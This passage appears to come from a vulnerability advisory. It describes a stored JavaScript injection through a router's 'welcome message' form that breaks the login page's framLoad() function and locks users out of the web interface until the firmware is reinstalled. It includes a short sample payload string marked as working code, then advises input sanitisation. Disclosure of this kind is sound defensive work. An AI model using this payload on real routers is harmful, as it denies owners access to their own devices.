Technical details:

Abusing the 'welcome message' form, an attacker can inject JavaScript code into a core function of the main login page. The persistent javascript code injection in the framLoad() function bypass all the security checks and cause a Denial of Service disabling any access to the router web interface. Access is restored with a new firmware installation. Example of a working code: //////// !WARNING! TEST AT YOUR OWN RISK /////// var loginMsg loads input from the 'welcome message form' .. function framLoad () { var status = '0'; var count = ''; var Retry = ''; var period = '';
var loginMsg = '<DoS="javascript:alert('DoS coming!')">';
var LockTime; var waitTime; if ( advancedaccountsecurity == '0' ) { loginrandom = '0'; } ..


The vulnerable form should sanitize input.
